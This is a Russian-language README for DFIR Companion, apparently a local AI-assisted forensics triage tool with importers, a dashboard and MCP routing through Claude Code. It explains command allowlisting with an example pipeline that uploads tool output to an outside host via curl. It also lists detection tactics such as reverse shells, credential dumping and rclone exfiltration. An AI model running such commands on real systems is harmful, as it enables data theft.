
DFIR-сервер-компаньон для криминалистики + расширение для захвата
DFIR-триаж с поддержкой ИИ — на вашей машине. Превращает скриншоты расследования и импортированные артефакты в криминалистическую временную шкалу, находки, IOC, граф активы↔IOC и отчёты для обмена; задавайте вопросы по делу на простом английском и взаимодействуйте с другими следователями.
Локальный помощник для цифровой криминалистики и реагирования на инциденты. Расширение для браузера захватывает скриншоты вашего расследования (Velociraptor, панели EDR/SIEM, Security Onion, Splunk4DFIR, VolWeb, VirusTotal и т. д.) как доказательства; локальный сервер хранит их, выполняет оконный анализ ИИ-зрением в накапливаемое состояние расследования по каждому делу и предоставляет живую панель управления плюс экспортируемые отчёты.
Всё работает на вашей машине — помощник привязывается только к 127.0.0.1, доказательства
остаются на диске, а поставщика ИИ выбираете вы.
Слой анализа после обнаружения. DFIR Companion — НЕ движок обнаружения — он принимает вердикты от Velociraptor, Security Onion, Chainsaw, Hayabusa, THOR, Cyber Triage, EDR/SIEM, коррелирует их в одну криминалистическую временную шкалу и синтезирует находки, путь атакующего, IOC и отчёты. Ценность в «и что с того», а не в повторном выводе оповещений.
Демо-дело: https://dfir-companion-production.up.railway.app/dashboard?caseId=demo
Практическая лаборатория: https://killercoda.com/dfir-companion/scenario/killercoda
Руководство пользователя: https://hasamba.github.io/DFIR-Companion/manual/
companion/.env)Демо-дело: GlobalTech Industries — BEC и предвестник программы-вымогателя, май 2026.
Полностью предзаполненное дело, которое можно изучить без импорта реальных доказательств — находки, IOC, техники MITRE, теги/комментарии аналитика, данные о подверженности клиента и метаданные отчёта — всё предзаполнено, чтобы каждая панель дашборда что-то показывала.
Загрузите его одним кликом — нажмите кнопку Demo case на панели инструментов дашборда. Она работает и с портативным Windows EXE (Node или
npmне требуются). Кнопка запрашивает подтверждение перед перезаписью, если дело уже существует.Или заполните из CLI (dev / Docker):
cd companion && npm run seed-demo # creates case id "demo" npm run seed-demo -- --force # overwrite an existing demo case npm run seed-demo -- --case-id globaltech # use a custom idЗатем откройте
http://127.0.0.1:4773/dashboardи подключитесь к делу.
Сгенерированное ИИ резюме дела, поминутный нарратив и описание пути атакующего — от первоначального доступа до развёртывания программы-вымогателя.

Проанализированные события с фильтрами по серьёзности, тегами триажа, ссылками на детали по каждой строке и отслеживанием изменений при импорте (баннер новых событий с раскрываемым diff).

Каждое когда-либо импортированное событие, до фильтрации по охвату/серьёзности — фильтруйте, помечайте тегами, отмечайте звёздочкой и продвигайте строки вверх в проанализированную криминалистическую временную шкалу; ничего не удаляется, это надмножество.

Визуальный график событий по активам (ось Y) и времени (ось X), окрашенный по серьёзности — перетащите ось времени, чтобы отфильтровать криминалистическую временную шкалу по диапазону.

Сгенерированные ИИ находки с оценками уверенности, тегами триажа аналитика и ссылками на техники MITRE ATT&CK; отслеживает, что изменилось с момента предыдущего запуска синтеза.

События, сгруппированные по тактике MITRE ATT&CK — это категоризация, а не подтверждённая стадия kill-chain, выводится детерминированно без ИИ.

Стандартные вопросы DFIR, автоматически отвечаемые из синтезированного дела (отвечено / частично / неизвестно), каждый с указателем на доказательство или директивой «собрать это следующим».

Практический чек-лист по устранению последствий, автоматически выведенный из находок и рекомендуемых следующих шагов; повторно синхронизируется при каждом запуске синтеза, сохраняя статус аналитика, исполнителя и сроки.

Какие хосты/учётные записи несут атаку, оценённые по сигналу (события с весами по серьёзности + техники + связующие IOC), а не по объёму, с предлагаемым окном охвата.

Деревья процессов, боковое перемещение и происхождение файлов, сшитые в один причинный граф атаки. Выводится детерминированно из полей, заполняемых импортёрами — без ИИ, без затрат, работает офлайн.

Кто куда вошёл — учётные записи и хосты, связанные из событий входа супер-временной шкалы, с различением успешных, неудачных и рискованных (RDP/runas/netonly) входов.

Периодические исходящие каналы, слишком регулярные, чтобы быть человеческим трафиком — это зацепка для охоты, а не вердикт, с интервалом, джиттером и числом событий для каждого кандидата.

Индикаторы (IP · домены · хеши · файлы · процессы · учётные записи), обогащённые по VirusTotal,
AbuseIPDB, ThreatFox и другим провайдерам — значки вердиктов, оценки обнаружения, подсветка импорта
NEW и метки триажа аналитика.

Интерактивный граф, связывающий хосты и учётные записи жертв с индикаторами, которые касались каждого, плюс список известных скомпрометированных хостов и пользователей.

drop/ дела, импортируются в фоне, перемещаются в _processed/ или _failed/ и записываются в drop-log.txt; подпапка asset=<HOST> задаёт имя хоста.evtx сохраняется байт-в-байт, версия парсера и код выхода в цепочке хранения, fail-closed, по умолчанию выключеноDFIR_DEDUP=off)DFIR_OCR_SEARCH=off для отключения; npm run ocr-index для заполнения)127.0.0.1 с CORS + Private-Network-Access для расширения; отклоняет нераспознанные имена хостов, закрывая атаки DNS-rebinding (DFIR_ALLOWED_HOSTS)Все импортёры детерминированные (без вызова ИИ), читают собственные временные метки артефакта и помечают события реальным именем инструмента для перекрёстной корреляции источников. Один и тот же файл можно повторно импортировать без дублирования временной шкалы.
object/action/properties, epoch-ms timestamp_ms) — события process/flow/logon/registry/module/file/thread | Доказательство уровня Info; повышение при LOLBin/закодированной командной строке (публичные IP → IOC) |
| Windows Event Log XML | Event Viewer "Save As XML", wevtutil qe /f:xml, Get-WinEvent … ToXml() (Security, Sysmon, System, любой канал) | Таблица Windows/Sysmon по EID |
| Chainsaw | EVTX hunt JSON/JSONL (chainsaw hunt --json); запускается напрямую по сырому .evtx через tool runner | Уровень сработавшего правила Sigma |
| Hayabusa | json-timeline или csv-timeline | Уровень сработавшего правила Sigma |
| Velociraptor | JSON-массив, JSONL или карта артефактов | Вердикт Sigma/YARA или по EID |
| THOR (Nextron) | Вывод сканирования JSON-Lines | Уровень оповещения THOR |
| Suricata / Zeek | eve.json, JSON-логи Zeek; телеметрия → только IOC | Приоритет оповещения / критичность notice |
| Snort / Suricata IDS (fast) | Однострочный лог оповещений alert_fast | Priority правила (1→High / 2→Medium / 3→Low) |
| YARA | Вывод CLI-сканирования yara -s -m (совпадения правил + строки/meta) | Info→Medium за совпадение; повышение по meta score/threat_level правила |
| Лог доступа web/proxy | Формат combined логов Apache/Nginx/Squid (лог доступа веб-сервера или forward-proxy); захвачены URL запроса, HTTP Referer и User-Agent (секреты в URL/Referer + UA сканеров/ботов/инъекций сохраняются как события + IOC) | По умолчанию Info; access-denied (401/403/407) → Low; git smart-HTTP clone/push → T1213 |
| Syslog межсетевого экрана Cisco ASA | Сообщения %ASA-#-######: Built/Teardown/Deny | По умолчанию Info (телеметрия); явный Deny → Low |
| Syslog (простой) | RFC 5424 (<PRI>1 …) + RFC 3164 (Mmm dd …) логи хостов Linux/Unix | По умолчанию Info (телеметрия); сбой аутентификации или PRI crit/alert/emerg → Low |
| Security Onion | События SOC Alerts/Hunt (ECS); передаются расширением или экспортом SOC API | event.severity_label (метка Suricata/SO) |
| SO-CRATES | Оповещения Suricata + совпадения файлов YARA (/api/events) и детекции Sigma (/api/sigma-alerts); передаются расширением или сырым экспортом | Приоритет Suricata / уровень Sigma / совпадение YARA |
| Cyber Triage | Таймлайн JSONL / JSON / CSV | Оценка элемента Cyber Triage |
| M365 / Entra ID | UAL, логи входа и аудита Entra | Таблица тактик BEC / Entra riskLevel |
| Okta | Экспорт System Log | Таблица тактик IdP (MFA отключена, выдан админ, выпущен API-токен, сессия имперсонирована) — не операционная оценка вендора |
| Google Workspace | Аудит администратора + входов | Таблица тактик IdP (2SV отключена, выдана роль, дан OAuth-консент, добавлен мониторинг почты) |
| Hindsight (браузер) | История, загрузки, интерпретации Chrome/Edge/Brave (JSON или CSV) | — (события Info: артефакты браузера — доказательства, а не вердикты) |
| macOS | Unified log (log show --style json), события загрузки LSQuarantine, атрибуты com.apple.quarantine, launchd plists, элементы входа (классический plist, .sfl2, BTM) | Запись карантина ↔ атрибут файла ↔ посещение браузера ↔ запуск процесса, связанные по идентификатору; plist читается как конфигурация, никогда как запуск |
| iLEAPP / ALEAPP | Артефакты извлечения iOS + Android из экспортов LEAPP TSV | — (события Info; универсальный парсер, привязанный к колонке timestamp) |
| AWS CloudTrail | Records JSON, NDJSON, Athena | Таблица действий API (IAM/logging/S3/secrets) |
| GCP / Azure | Cloud Audit Logs, Azure Activity Log | Таблица действий (IAM/logging/secrets) |
| Аудит Kubernetes | Лог аудита API-сервера (audit.k8s.io JSON-lines / EventList) | Таблица (verb, resource) — pod exec/attach T1609, доступ к секретам T1552.007, изменение RBAC T1098, привилегированный pod T1610/T1611, анонимный доступ T1078 |
| osquery | Лог результатов запланированных запросов (дифференциальные columns + snapshot) | Телеметрия Info; консервативное повышение тактик по колонке командной строки |
| Plaso | CSV psort (dynamic + l2tcsv) | — (события Info) |
| Отчёты песочниц | CAPEv2 report.json, сводка Falcon Sandbox | Вердикт по образцу + поведенческие сигнатуры |
| Форензика памяти | Volatility 3 (-r json) + Rekall: pslist/pstree, netscan, malfind, cmdline, svcscan; конверт JSON-запуска (команда, статус выхода, stderr) импортируется рядом с экспортом | malfind внедрённый код → High (T1055); листинги → Info/Low; запуск с нулём строк или неудачный говорит, что он устанавливает |
| Intact (урезанный VolWeb) | Таблицы плагинов memory_payload.json + yarascan_results.jsonl | То же сопоставление плагинов; совпадения YARA по памяти → Low, плотный кластер из многих правил → Info; лимиты строк раскрыты |
| TheHive | Экспорт JSON кейса / оповещения, список observable (TheHive 5) | Критичность TheHive 1–4; MITRE из тегов с метками ATT&CK |
| Email | .eml (RFC 2822), .msg по мере возможности | Сбой SPF/DKIM/DMARC → эвристики подмены отправителя (T1566 Phishing) |
| История shell | .bash_history / .zsh_history (bash HISTTIMEFORMAT #epoch + расширенная история zsh) | По умолчанию Info; консервативное повышение по тактикам (reverse shell, download-and-exec, доступ к учётным данным, подмена логов/истории, боковое SSH-перемещение) |
| Персистентность Linux | SSH authorized keys, cron, юниты systemd, профили shell, листинги SUID и PATH из одной коллекции | Payload с правами на запись всем, root, запускающий файлы с записью пользователя, setuid-интерпретаторы; ничто не оценивается за само существование |
| Linux auditd | Сырые записи audit.log / ausearch, таблицы aureport | Таблица типов записей (входы, управление учётными записями, sudo, SELinux, подмена аудита) |
| systemd journald | journalctl -o json / -o json-pretty | PRIORITY syslog + повышения тактик (sshd, sudo, useradd) |
| sysdig / Falco | JSON оповещений Falco, JSON событий sysdig -j | Приоритет правила Falco; сырые syscalls → телеметрия Info |
| Wazuh | alerts.json / NDJSON или экспорт API (GET /security/events) | rule.level (≥13 Critical, ≥10 High, ≥7 Medium) |
| CSV | Экспорты Velociraptor / EDR | — |
| Обобщённые логи | Межсетевой экран, syslog, VPN; повторяющиеся строки → подсчитанные паттерны | AI-триаж |Детерминированная оценка тактик — командные строки Windows/Sysmon, ECAR и памяти оцениваются по правилам, собранным из более чем 110 реальных вторжений (The DFIR Report, Huntress): высокодостоверные тактики → High с соответствующей техникой ATT&CK (отключение Defender, подавление восстановления, дамп учётных данных, обратные туннели, Impacket, RMM/C2, облачный эксфильтрация …), двойного назначения → Medium; чистое обнаружение помечается тегом, но никогда не повышается.
runas /netonly) → Medium$SI/$FN как вероятный timestomping → Mediumrclone/restic/megasync/megacmd в PrefetchZone.Identifier читается против Prefetch, запусков процессов и записей присутствия того же файла и повышается только когда выполнение датировано позже неё; payload в скрытом потоке оценивается по содержимому, а не по имениcmd.exe, сброшенный инструмент)nltest, Get-AD*, ntdsutil … ifm и подобные читаются из записей 4104/4103 с их техникамиssl/x509, Suricata tls) становится одной строкой на связь и на сертификат; ответы DNS присоединяются к более поздним соединениям того же клиента внутри TTL; цепочки веб-запросов связываются только через идентификаторы, которые несут обе записиDFIR_JEV_ENABLED)DFIR_SYNTH_ADVERSARY_HINTS)tags.yaml) — движок правил тегирует события, повышает серьёзность и объединяет техники MITRE-enc, [Convert]::FromBase64String); извлекает скрытые IOC; показывает блоки [Decoded]process_creation также ищут по истории Sysmon / 4688POST /cases/:id/push (webhook SIEM, монитор Velociraptor, скрипты)DFIR_FORENSIC_MIN_SEVERITY + переопределение по кейсу, продвижение обходит порог, а IOC всё равно извлекаются из каждого событияDetectRaptor.Windows.Detection.MFT), как в форензик-, так и в супер-таймлайнеj/k перемещает подсветку сфокусированной строки на форензик-таймлайне, f ставит звезду, i предзаполняет форму ручного IOC, p закрепляет цитируемую находку, n открывает комментарий, ? показывает шпаргалку; переключается в Настройки → Общие, по умолчанию включеноPUT /cases/:id/correlation-profileDFIR_SHODAN_KEY? рядом с шестерёнкой настроек открывает онлайн руководство пользователя в новой вкладкеmanual, сохраняются при повторном анализе)DFIR_CROSS_CASE=on/dfir findings, /dfir iocs malicious, /dfir ask … из канала инцидента; привяжите канал к делу, задайте allowlist тех, кто может тратить бюджет AI (#235)/mobile) для находок/временной шкалы/IOC с вердиктами; офлайн app-shell/cases/:id/present) для брифингов при передаче дел и executive walkthrough: крупные карточки, навигация с клавиатуры, автопродвижение, фильтр по серьёзности, брендирование из шаблона отчёта; экспорт самодостаточного офлайн HTML-дека (#177)$0.00, когда провайдер их не сообщает)DFIR_MAX_EVENTS) — переопределяет стандартный защитный лимит в 2000 событий на импортDFIR_LOG_LEVEL; debug трассирует AI/захваты/OCR/анонимизациюchoco install dfir-companion; скачивает + проверяет портативную сборку + включает расширение захвата, данные в %LOCALAPPDATA%docker compose up; доказательства на томе хоста, без встроенного AI-бэкендаnpm run seed-demo для заполнения сценария GlobalTechreanalyze, synthesize, coverage, verify:ai, clean-timelineCompanion может направлять доказательства дела на MCP-серверы, которые вы запускаете — рабочую станцию SIFT, машину REMnux, службу базовой линии Windows triage — чтобы доказательства анализировались на машине, где есть нужный инструментарий.
Он обращается к ним только через Claude Code. Companion не является MCP-клиентом: он не хранит URL сервера,
ни bearer-токен, и не запускает собственный npx или uvx. Claude Code уже настроен с вашими серверами и уже хранит их учётные данные, поэтому разговор ведёт он, а Companion просит его об этом.
Вся эта функция работает только если:
DFIR_AI_CLAUDE_CODE_BIN, если claude отсутствует в его PATH.claude mcp add … или его файл конфигурации), и
claude mcp list показывает их подключёнными.Запасного варианта нет. Если вы запускаете Companion в Docker, из AppImage или из портативной сборки для Windows без Claude Code рядом, маршруты MCP сообщат вам об этом, и ничего больше.
Два следствия, которые стоит знать, прежде чем полагаться на это. Каждый вызов MCP проходит через модель, поэтому он тратит токены и не является побитово детерминированным вызовом, каким был бы прямой JSON-RPC-запрос — промпт делает его транспортом (один инструмент, точные аргументы, дословный вывод), но модель всё равно находится в середине. И поскольку серверы берутся из собственной конфигурации Claude Code, а не из сгенерированной, Claude Code запускает каждый настроенный сервер при каждом запуске, а не только тот, который используется; allowlist ограничивает то, что может быть вызвано, а не то, что запускается.
В Settings → Tools нажмите Refresh from Claude Code, чтобы загрузить список его серверов, затем разрешите один и укажите, что ему можно делать. Вводить нужно только политику — имена серверов берутся из самого Claude Code, поэтому опечатка не оставит вас с записью, которая молча ничему не соответствует.
POST /cases/<id>/mcp/<serverId>/run с { tool, args, targetPath }. Поместите <target> туда, где
инструмент ожидает путь к доказательствам — он заменяется на путь на хосте анализа после того, как
доставка выполнена, поэтому аргумент, который вы пишете, — это аргумент, который получает инструмент:```json
{ "tool": "run_command",
"args": { "command": ["vol.py", "-f", "", "pslist"] },
"targetPath": "imports/memory.raw" }
`targetPath` разрешается внутри каталога дела; всё, что за его пределами, отклоняется. Для образца, который хранится в браузере и путь к которому серверу недоступен, `POST /cases/<id>/mcp/<serverId>/run-upload` принимает вместо этого `{ filename, dataBase64 }` и сначала размещает байты внутри дела.
Оба возвращают **202 с идентификатором задания**, а не блокируются. Настоящий запуск Volatility переживёт любой разумный тайм-аут запроса, поэтому запуск выполняется как фоновая задача с прогрессом, кнопкой отмены и широковещательной рассылкой `job_changed` по WebSocket. Результат попадает в дело через ту же цепочку импорта, что и у любого другого инструмента — события временной шкалы, находки и IOC, с контрольной точкой отмены — так что чтение результата ничем не отличается от обычного импорта. Структурированный вывод направляется соответствующему импортёру; неструктурированный текст попадает в общий путь журнала, а не отклоняется.
Инструмент, сообщающий о собственном сбое, приводит к сбою задания, а не к его приёму: сообщение об ошибке — это диагностика, а не артефакт, и его регистрация во временной шкале создала бы впечатление, что это доказательство.
### Предварительный просмотр перед импортом
**Включён по умолчанию**, и его стоит оставить включённым. MCP-сервер вернёт справочные данные так же охотно, как доказательства — спросите SIFT, какие у него есть инструменты, и вы получите JSON-инвентарь, структурно идентичный таблице Volatility: массив объектов без временных меток. Ни один детектор не отличит их друг от друга, поэтому импортёры делают то, для чего они созданы, и извлекают каждый путь в нём как индикатор файла. Один список возможностей — это несколько десятков IOC, которые делу были совсем не нужны.
При включённом предварительном просмотре запуск получает вывод и останавливается. Вы видите байты, размер и тип, как который он *мог бы* импортировать, и выбираете. Одобрение принимает **ровно те байты, которые уже получены** — инструмент никогда не перезапускается, поэтому двадцатиминутный запуск Volatility стоит двадцать минут один раз, а инструмент с побочными эффектами выполняет их один раз. Отклонение выбрасывает вывод, и дело остаётся нетронутым.
Отправьте `preview: true` при запуске, чтобы использовать это из API, затем `GET`, `POST …/import` или `DELETE` на `/cases/<id>/mcp/preview/<jobId>`.
Ничто здесь не заменяет суждение о том, что запускать, и импорт без предварительного просмотра не опасен — каждый импорт MCP создаёт контрольную точку отмены, поэтому запуск, оказавшийся шумом, откатывается одним щелчком.
### Что даёт использование сервера
**По умолчанию — всё, что предлагает сервер.** Это сделано намеренно: Claude Code уже позволяет вызывать любой инструмент на любом настроенном вами сервере, поэтому требование заново перечислять их здесь было бы строже, чем ваше собственное повседневное использование — и стало бы вторым местом для описания того же сервера.
Стоит знать, что включает «всё». Некоторые серверы предоставляют мелкозернистые инструменты — `check_service`, `check_autorun`, по одному на вопрос. Другие предоставляют единственный **исполнитель команд**, который выполняет всё, что вы ему передадите: `run_command` в SIFT заявляет, что может выполнять «большинство установленных в SIFT инструментов … включая curl, wget, dd, fdisk и python3», а `run_tool` в REMnux принимает целый конвейер оболочки. Использование такого сервера из Companion означает выполнение команд на этом хосте — разумно в изолированной криминалистической сети, где аналитические машины ваши и доказательства уже в вашей локальной сети, и неразумно где-либо ещё.
Два **необязательных** списка сужают это, когда вы этого хотите:
| Настройка | Применяется к | Пустое значение означает |
|---|---|---|
| **Ограничить инструментами** | каждому вызову | все инструменты, предлагаемые сервером |
| **Ограничить командами** | вызовам, несущим аргумент команды | без ограничения команд |
Команды сопоставляются **по базовому имени**, поэтому `grep` и `/usr/bin/grep` — одно правило. Проверяется каждый этап конвейера, а не только первый — `oledump.py s.doc | curl -T - http://elsewhere` требует разрешения и для `oledump.py`, и для `curl`. Команда, использующая подстановку оболочки (`$(…)`, обратные кавычки, `${…}`), отклоняется сразу, потому что заранее неизвестно, что она выполнит.
**Чего список команд не делает.** Он ограничивает *какие* бинарники запускаются, но никогда — что может сделать разрешённый: разрешение `dd` разрешает запись по любому пути, доступному на запись пользователю этого сервера; разрешение `python3` разрешает произвольный код. Он также опирается на известные имена параметров (`command`, `cmd`, `argv`), поэтому сервер, называющий свой параметр команды как-то необычно, не будет пойман. Он существует, чтобы помочь оператору, желающему сузить собственный доступ, а не чтобы сдерживать сервер, который не следовало настраивать изначально.
### Доставка доказательств на сервер
В MCP нет примитива передачи файлов, и образ памяти размером в несколько гигабайт не может путешествовать внутри аргумента инструмента, поэтому файл должен уже находиться там, где сервер может его открыть. Эта часть остаётся задачей Companion — Claude Code не может переместить образ на аналитическую машину. Каждый сервер выбирает один из двух маршрутов:
**`remote-path`** (по умолчанию) — доказательства уже видны аналитическому хосту через общий монтированный ресурс. Задайте локальный префикс и удалённый префикс, и путь переписывается (`/srv/cases/…` → `/mnt/dfir/…`); оставьте оба пустыми, когда монтирование находится по одному и тому же пути с обеих сторон. Ничего не копируется.
**`scp`** — Companion отправляет файл в промежуточный каталог, инструмент запускается, а размещённая копия удаляется afterwards. Настройте `host`, `remoteDir`, при необходимости `user`, `port` и `identityFile`.
Четыре вещи, которые нужно знать перед выбором `scp`:
- **Ключ хоста должен быть уже доверенным.** `BatchMode` включён, а `StrictHostKeyChecking` *не* отключён, поэтому неизвестный хост завершается с `Host key verification failed`, а не доверяет тому, кто ответил по адресу. Сначала подключитесь вручную один раз (или добавьте ключ в `known_hosts`). Это сделано намеренно: молчаливое принятие непроверенного ключа передало бы доказательства любому, кто владеет этим IP.
- **Аутентификация только по ключу.** `BatchMode` означает, что ssh никогда не запрашивает ввод, поэтому хост только с паролем работать не может. Укажите `identityFile` на ключ без парольной фразы или загрузите его в агент, доступный процессу сервера.
- **Нет прогресса и нет возобновления.** Копирование 16 ГБ непрозрачно, пока не завершится или не потерпит неудачу, а разорванное соединение означает начало заново. Передача отменяема и имеет собственный часовой тайм-аут, отдельный от тайм-аута вызова инструмента.
- **Хост, пользователь и удалённый каталог ограничены консервативным набором символов** (буквы, цифры, точка, дефис, подчёркивание и `/` для каталога). `user@host` попадает в ssh без кавычек, поэтому всё, имеющее значение для оболочки, отклоняется при сохранении, а не во время передачи. Имя размещаемого файла выводится из имени доказательства и очищается таким же образом.
Любой маршрут записывает **событие `transferred` о цепочке сохранности** с указанием места назначения, поэтому файл дела показывает, что доказательства покинули эту машину, когда и куда. Неудачная передача не записывает ничего — цепочка никогда не заявляет о копии, которой не было.
### MCP-расследования на простом английском
Один вызов инструмента не может проследить нить. «Исследуй этот дамп» хочет цикл — запустить pslist, заметить что-то, переключиться на malfind — и именно это делает агентный режим: он позволяет Claude Code работать против разрешённого вами сервера, а затем объединяет то, о чём он сообщает. Это основной рабочий процесс MCP в панели управления: напишите цель на простом английском, выберите или укажите путь к доказательствам, выберите приложение MCP и нажмите **Investigate**. Имена инструментов и аргументы JSON доступны только в расширенном разделе ручных вызовов.
`POST /cases/<id>/mcp/agent` с `{ prompt, servers?, targetPath?, preview? }`, или `POST /cases/<id>/mcp/agent-upload` с `{ prompt, servers, filename, dataBase64, preview? }`.
**Прочтите это перед разрешением сервера.** При ручном запуске Companion управляет каждым вызовом, поэтому каждый вызов проходит списки разрешённых инструментов *и* команд. В агентном режиме это не так: `claude` общается с серверами напрямую. Сохраняется только список разрешённых инструментов, как `--allowed-tools`. **Список разрешённых команд невозможно обеспечить.** Поэтому разрешение агенту использовать инструмент-исполнитель команд даёт автономному циклу возможность выбирать собственные командные строки на этом хосте.
Разрешение и включение MCP-сервера в Companion — это граница разрешений для этого режима. Ограничение инструментов сервера по-прежнему применяется. Ограничение команд не может сдерживать автономный цикл; оно применяется только к расширенным ручным вызовам.
Что режим всё же гарантирует: явное ограничение инструментов передаётся инструмент за инструментом; пустое ограничение намеренно разрешает каждый инструмент, который предоставляет этот сервер. Настройки проекта/локальные, файлы `CLAUDE.md` и хуки исключены, а запуск ограничен по числу ходов. Пользовательские настройки Claude Code остаются включёнными, потому что именно там находятся его подключения к MCP-серверам.
Ответ агента проходит проверку по схеме и очищается от заявлений о происхождении перед объединением — всё, что он видел, пришло из вывода инструментов, который не является доверенным. Его никогда не просят составить сводку по делу, поэтому запуск добавляет находки, IOC и события, не переписывая ваши выводы. Предварительный просмотр работает и здесь, и значит больше: автономный цикл сам решает, о чём сообщать.
Расследование ограничено 40 ходами. Если Claude Code исчерпывает этот бюджет, используя инструменты, Companion один раз возобновляет ту же сессию со всеми отключёнными инструментами и просит его сообщить только на основе уже собранных доказательств. Это сохраняет границу безопасности, не теряя завершённое расследование лишь потому, что его финальный JSON был бы следующим ходом.
### Учётные данные
Здесь нечего настраивать. Bearer-токены, заголовки и транспорты — всё живёт в собственной конфигурации MCP Claude Code, которая является единственным местом, где они хранятся. Companion хранит *имя* сервера, список разрешённых и блок доставки — ничего, что позволило бы ему подключиться к чему-либо самостоятельно.
Одна оговорка, если вы пойдёте искать: `claude mcp list` выводит полную командную строку каждого сервера, которая для записи `mcp-remote` включает bearer-токен в открытом виде. Companion извлекает из этого вывода только имя и вердикт о работоспособности и никогда не хранит, не регистрирует и не отображает остальное — но будьте осторожны, где вы сами запускаете эту команду.
## Структура репозитория```
52.43-DFIR-Companion/
├── companion/ Node/TS localhost server (the core). See companion/README.md.
├── extension/ MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md.
├── public/
│ └── dashboard.html Live dashboard, served by the companion at /dashboard.
├── docs/
│ └── superpowers/plans/ The original 4 implementation plans.
├── Dockerfile Single-image build (server + dashboard + add-on); no Ollama/LiteLLM.
├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon.
└── cases/ Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT.
Browser (Comet/Chrome) Localhost companion (127.0.0.1:4773) ┌─────────────────────┐ POST ┌───────────────────────────────────────┐ │ DFIR Capture (MV3) │ /captures ──▶ │ ingest → evidence (screenshots+jsonl) │ │ timer + events │ │ │ │ └─────────────────────┘ │ ▼ per-window AI extraction (cheap) │ │ forensic timeline ──▶ synthesis (strong)│ Dashboard / Reports ◀── WS /ws, │ findings, IOCs, MITRE, attacker path, │ GET /cases/:id/state │ key questions, threads │ └─────────────────────┘ └───────────────────────────────────────┘
**Двухфазный анализ:** дешёвая vision-модель считывает каждый скриншот в судебную
временную шкалу; более сильная модель выполняет единственный целостный синтезирующий
вызов (находки, MITRE, путь атакующего, вопросы). Настройте обе через `.env` — см. `companion/README.md`.
## Быстрый старт
> **Предварительное требование:** [Node.js](https://nodejs.org/) **22.19 или новее** (поставляется с `npm`).
> Проверьте командой `node --version`. Всё ниже использует `npm`, поэтому другой рантайм не нужен.
> Индексированное хранилище кейсов использует встроенный модуль `node:sqlite`, поэтому более старые версии Node не могут открывать
> кейсы. Портативная сборка включает совместимый рантайм.
1. **Companion** (сервер): ```
git clone https://github.com/hasamba/DFIR-Companion.git
cd DFIR-Companion/companion
npm install
cp .env.example .env # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off)
npm run dev # serves http://127.0.0.1:4773 (dashboard at /dashboard)
Расширение (захват):
Самый простой способ: установите напрямую из
Chrome Web Store.
На Firefox 140+ скачайте dfir-capture-extension-firefox-*.zip из
последнего релиза и распакуйте его.
Или соберите из исходного кода: ``` cd DFIR-Companion/extension npm install npm run build # Chrome/Comet → load extension/dist as an unpacked extension npm run build:firefox # Firefox 140+ → load extension/dist-firefox/manifest.json
В Firefox загрузите его из about:debugging#/runtime/this-firefox → Load Temporary Add-on…
и выберите файл manifest.json (Chrome запрашивает папку; Firefox — нет). Firefox
удаляет временные дополнения при перезапуске, поэтому повторяйте это каждую сессию — в AMO
пока нет листинга, поэтому релизный zip не подписан и не может быть установлен навсегда.
Что он собирает, раз временная загрузка никогда не спрашивает. Firefox показывает своё уведомление о сборе данных только для подписанного дополнения, установленного обычным способом;
about:debuggingпредоставляет всё молча. Расширение объявляет активность браузера (захват несёт URL и заголовок вкладки) и содержимое веб-сайтов (скриншот и строки, которые собирает Push). Расширение отправляет их на настроенный вами адрес компаньона и больше никуда; что этот компаньон пересылает дальше — модель зрения читает скриншоты, AI-синтез читает строки, обогащение запрашивает сервисы репутации — это собственная конфигурация компаньона. См. extension/PRIVACY.md.
Всплывающее окно только прикрепляется к существующему кейсу — кейсы вы создаёте в дашборде.
http://127.0.0.1:4773/dashboard, нажмите + New case, чтобы создать кейс (он
подключается автоматически). Затем во всплывающем окне расширения выберите этот кейс в
выпадающем списке Case (Refresh cases, если его ещё нет в списке) и нажмите Start.
Просматривайте свои доказательства — дашборд обновляется в реальном времени.Обновляете существующую копию репозитория? После
git pullповторно запуститеnpm installв обоих каталогахcompanion/иextension/— новые функции могут добавлять зависимости (например, редактирование OCR скриншотов добавилоtesseract.js). Затем перезапуститеnpm run dev(код сервера загружается один раз при запуске).
Полная конфигурация, HTTP-эндпоинты, структура папки кейса и модель анализа описаны в companion/README.md.
Запустите всё целиком — сервер-компаньон + дашборд + браузерное дополнение — в одном контейнере.
Ollama или LiteLLM не входят в комплект; для AI вы направляете DFIR_AI_* на любой
OpenAI-совместимый эндпоинт (модель, которую вы хостите, удалённый провайдер или Ollama/LiteLLM,
запущенные отдельно). Если AI не настроен, контейнер всё равно выполняет полный захват и все
детерминированные импортёры.
Предварительное требование: Docker с плагином Compose (
docker compose version).
Только localhost по замыслу: контейнер внутри привязывается к 0.0.0.0, но Compose публикует
порт на 127.0.0.1 на вашем хосте — поэтому дашборд никогда не доступен в вашей сети.
Или загрузите готовый образ из GHCR вместо сборки: ``` docker compose pull && docker compose up -d
2. **Загрузите аддон** (захват). Контейнер записывает предварительно собранное, распакованное расширение в
`./addon` при первом запуске. В Chrome/Comet откройте `chrome://extensions`, включите **Режим
разработчика**, нажмите **Загрузить распакованное расширение** и выберите **`./addon/dist`** (упакованный
`dfir-companion-extension.zip` также помещается туда).
3. Откройте `http://127.0.0.1:4773/dashboard`, нажмите **+ Новый кейс**, затем выберите этот кейс во
всплывающем окне расширения и нажмите **Start**.
**Данные и конфигурация:**
- Доказательства и состояние кейса сохраняются в **`./cases`** на хосте (смонтированный том) — переживают
перезапуски и пересборки образа.
- Настройте через блок `environment:` в [`docker-compose.yml`](https://github.com/hasamba/dfir-companion/blob/master/docker-compose.yml), или
раскомментируйте `env_file: - .env`, чтобы использовать файл `.env` (скопируйте `companion/.env.example`).
- Чтобы подключиться к AI-эндпоинту, работающему на хосте, используйте `http://host.docker.internal:<port>/v1`
(в Linux без Docker Desktop также раскомментируйте строку `extra_hosts` в compose-файле).
## Windows (Chocolatey)